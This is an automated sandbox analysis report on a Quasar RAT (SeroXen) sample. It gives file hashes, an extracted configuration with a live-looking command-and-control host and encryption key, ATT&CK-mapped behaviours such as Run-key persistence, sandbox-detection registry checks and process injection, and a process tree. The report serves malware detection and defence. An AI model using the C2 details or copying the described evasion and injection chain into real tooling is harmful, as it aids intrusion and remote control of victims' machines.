quasar | 00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-12-2024 02:01

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General

Target

00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe
Size

8.2MB
MD5

917c0479804b76ae493bad95bf0c7710
SHA1

7441c9042a3db3642416bd1fbee680e41fed6000
SHA256

00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4
SHA512

93ca248c62caa51a81a5156674ce4eceddc7c2bfd9331a8d522528d80b0d42042957e152e63021f9c3c6696ec76cbaec2ec5bc2820f5c0caf4976040e99d3aa8
SSDEEP

196608:szdoXA+DYyx8t5KwwFdR3TNpiCHK9MIuBRR23pyHVvGAE+:szUDh8t55wFd1NckKKH+3pyHU

Score

10^/10

quasar v2.2.1 | seroxen defense_evasion discovery persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.1 | SeroXen

VIPEEK1990-25013.portmap.host:25013

Mutex

7018d402-47e5-4cb4-a786-2ea02c04bce5

Attributes

encryption_key
B25AE15F5F63DA9A5796B857943A95D816F98892
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/68-66-0x000001B90AEF0000-0x000001B90B6BA000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5560 created 5740	5560	WerFault.exe	126
PID 5772 created 4636	5772	WerFault.exe	132

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

description	pid	Process	procid_target
PID 5076 created 616	5076	Uni.bat.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 5076 created 616	5076	Uni.bat.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 68 created 616	68	$sxr-powershell.exe	5
PID 2640 created 5740	2640	svchost.exe	126
PID 68 created 616	68	$sxr-powershell.exe	5
PID 2640 created 4636	2640	svchost.exe	132
PID 2640 created 5596	2640	svchost.exe	135

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Uni.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
5076	Uni.bat.exe
1420	$sxr-mshta.exe
3644	$sxr-cmd.exe
68	$sxr-powershell.exe
3008	$sxr-powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3008	$sxr-powershell.exe
68	$sxr-powershell.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 5076 set thread context of 2352	5076	Uni.bat.exe	92
PID 5076 set thread context of 1608	5076	Uni.bat.exe	94
PID 68 set thread context of 2392	68	$sxr-powershell.exe	106
PID 68 set thread context of 3012	68	$sxr-powershell.exe	107
PID 68 set thread context of 2996	68	$sxr-powershell.exe	113
PID 68 set thread context of 3624	68	$sxr-powershell.exe	114
PID 5076 set thread context of 3940	5076	Uni.bat.exe	119
PID 5076 set thread context of 2888	5076	Uni.bat.exe	120
PID 68 set thread context of 3028	68	$sxr-powershell.exe	121
PID 68 set thread context of 5676	68	$sxr-powershell.exe	122
PID 68 set thread context of 5916	68	$sxr-powershell.exe	123
PID 68 set thread context of 5416	68	$sxr-powershell.exe	124
PID 68 set thread context of 664	68	$sxr-powershell.exe	125
PID 68 set thread context of 5740	68	$sxr-powershell.exe	126
PID 68 set thread context of 5776	68	$sxr-powershell.exe	128
PID 68 set thread context of 5628	68	$sxr-powershell.exe	131
PID 68 set thread context of 4636	68	$sxr-powershell.exe	132
PID 68 set thread context of 5596	68	$sxr-powershell.exe	135

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
716	3012	WerFault.exe	107
5440	5740	WerFault.exe	126
6052	5596	WerFault.exe	135

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5260	PING.EXE
5268	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4428	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 17 Dec 2024 02:03:25 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1734401005"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A12D8F7C-D7F5-483B-B90C-BCC15D5FB2ED}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5260	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5076	Uni.bat.exe
5076	Uni.bat.exe
5076	Uni.bat.exe
2352	dllhost.exe
2352	dllhost.exe
2352	dllhost.exe
2352	dllhost.exe
1608	dllhost.exe
1608	dllhost.exe
1608	dllhost.exe
1608	dllhost.exe
5076	Uni.bat.exe
5076	Uni.bat.exe
68	$sxr-powershell.exe
68	$sxr-powershell.exe
68	$sxr-powershell.exe
68	$sxr-powershell.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
68	$sxr-powershell.exe
68	$sxr-powershell.exe
3008	$sxr-powershell.exe
3008	$sxr-powershell.exe
3008	$sxr-powershell.exe
3008	$sxr-powershell.exe
68	$sxr-powershell.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe
2996	dllhost.exe
2996	dllhost.exe
3624	dllhost.exe
3624	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5076	Uni.bat.exe
Token: SeDebugPrivilege	5076	Uni.bat.exe
Token: SeDebugPrivilege	2352	dllhost.exe
Token: SeDebugPrivilege	1608	dllhost.exe
Token: SeDebugPrivilege	68	$sxr-powershell.exe
Token: SeDebugPrivilege	68	$sxr-powershell.exe
Token: SeDebugPrivilege	2392	dllhost.exe
Token: SeDebugPrivilege	3008	$sxr-powershell.exe
Token: SeDebugPrivilege	68	$sxr-powershell.exe
Token: SeDebugPrivilege	2996	dllhost.exe
Token: SeDebugPrivilege	3624	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1712	svchost.exe
Token: SeIncreaseQuotaPrivilege	1712	svchost.exe
Token: SeSecurityPrivilege	1712	svchost.exe
Token: SeTakeOwnershipPrivilege	1712	svchost.exe
Token: SeLoadDriverPrivilege	1712	svchost.exe
Token: SeSystemtimePrivilege	1712	svchost.exe
Token: SeBackupPrivilege	1712	svchost.exe
Token: SeRestorePrivilege	1712	svchost.exe
Token: SeShutdownPrivilege	1712	svchost.exe
Token: SeSystemEnvironmentPrivilege	1712	svchost.exe
Token: SeUndockPrivilege	1712	svchost.exe
Token: SeManageVolumePrivilege	1712	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1712	svchost.exe
Token: SeIncreaseQuotaPrivilege	1712	svchost.exe
Token: SeSecurityPrivilege	1712	svchost.exe
Token: SeTakeOwnershipPrivilege	1712	svchost.exe
Token: SeLoadDriverPrivilege	1712	svchost.exe
Token: SeSystemtimePrivilege	1712	svchost.exe
Token: SeBackupPrivilege	1712	svchost.exe
Token: SeRestorePrivilege	1712	svchost.exe
Token: SeShutdownPrivilege	1712	svchost.exe
Token: SeSystemEnvironmentPrivilege	1712	svchost.exe
Token: SeUndockPrivilege	1712	svchost.exe
Token: SeManageVolumePrivilege	1712	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1712	svchost.exe
Token: SeIncreaseQuotaPrivilege	1712	svchost.exe
Token: SeSecurityPrivilege	1712	svchost.exe
Token: SeTakeOwnershipPrivilege	1712	svchost.exe
Token: SeLoadDriverPrivilege	1712	svchost.exe
Token: SeSystemtimePrivilege	1712	svchost.exe
Token: SeBackupPrivilege	1712	svchost.exe
Token: SeRestorePrivilege	1712	svchost.exe
Token: SeShutdownPrivilege	1712	svchost.exe
Token: SeSystemEnvironmentPrivilege	1712	svchost.exe
Token: SeUndockPrivilege	1712	svchost.exe
Token: SeManageVolumePrivilege	1712	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1712	svchost.exe
Token: SeIncreaseQuotaPrivilege	1712	svchost.exe
Token: SeSecurityPrivilege	1712	svchost.exe
Token: SeTakeOwnershipPrivilege	1712	svchost.exe
Token: SeLoadDriverPrivilege	1712	svchost.exe
Token: SeSystemtimePrivilege	1712	svchost.exe
Token: SeBackupPrivilege	1712	svchost.exe
Token: SeRestorePrivilege	1712	svchost.exe
Token: SeShutdownPrivilege	1712	svchost.exe
Token: SeSystemEnvironmentPrivilege	1712	svchost.exe
Token: SeUndockPrivilege	1712	svchost.exe
Token: SeManageVolumePrivilege	1712	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1712	svchost.exe
Token: SeIncreaseQuotaPrivilege	1712	svchost.exe
Token: SeSecurityPrivilege	1712	svchost.exe
Token: SeTakeOwnershipPrivilege	1712	svchost.exe
Token: SeLoadDriverPrivilege	1712	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
68	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 2588	2444	00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe	83
PID 2444 wrote to memory of 2588	2444	00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe	83
PID 2588 wrote to memory of 5076	2588	cmd.exe	86
PID 2588 wrote to memory of 5076	2588	cmd.exe	86
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 2352	5076	Uni.bat.exe	92
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 5076 wrote to memory of 1608	5076	Uni.bat.exe	94
PID 1420 wrote to memory of 3644	1420	$sxr-mshta.exe	103
PID 1420 wrote to memory of 3644	1420	$sxr-mshta.exe	103
PID 3644 wrote to memory of 68	3644	$sxr-cmd.exe	105
PID 3644 wrote to memory of 68	3644	$sxr-cmd.exe	105
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 2392	68	$sxr-powershell.exe	106
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3012	68	$sxr-powershell.exe	107
PID 68 wrote to memory of 3008	68	$sxr-powershell.exe	112
PID 68 wrote to memory of 3008	68	$sxr-powershell.exe	112
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 2996	68	$sxr-powershell.exe	113
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 68 wrote to memory of 3624	68	$sxr-powershell.exe	114
PID 2996 wrote to memory of 616	2996	dllhost.exe	5
PID 2996 wrote to memory of 672	2996	dllhost.exe	7
PID 2996 wrote to memory of 964	2996	dllhost.exe	12

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5484	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:376
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f0a25d2f-976a-49c1-9ea8-bd9d18271fd9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{65e85bd6-6b3c-4ad0-b664-f2d1aee1ef06}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1fb14030-3799-499d-89c1-a3fe3b173d16}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2996
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0bd9b211-2389-4bf6-9459-3d1e77bcea69}
  2⤵
  PID:3940
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bdd0ef00-2a27-4f06-a8ff-16612356061b}
  2⤵
  PID:3028
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{687026ef-e09e-4c5f-9510-640944143d4b}
  2⤵
  PID:5916
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5e2bb0a9-7921-49a7-af67-517cf221bf46}
  2⤵
  PID:664
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e7689f28-fca6-4c9d-b92d-8e385ea0dd5c}
  2⤵
  PID:5776
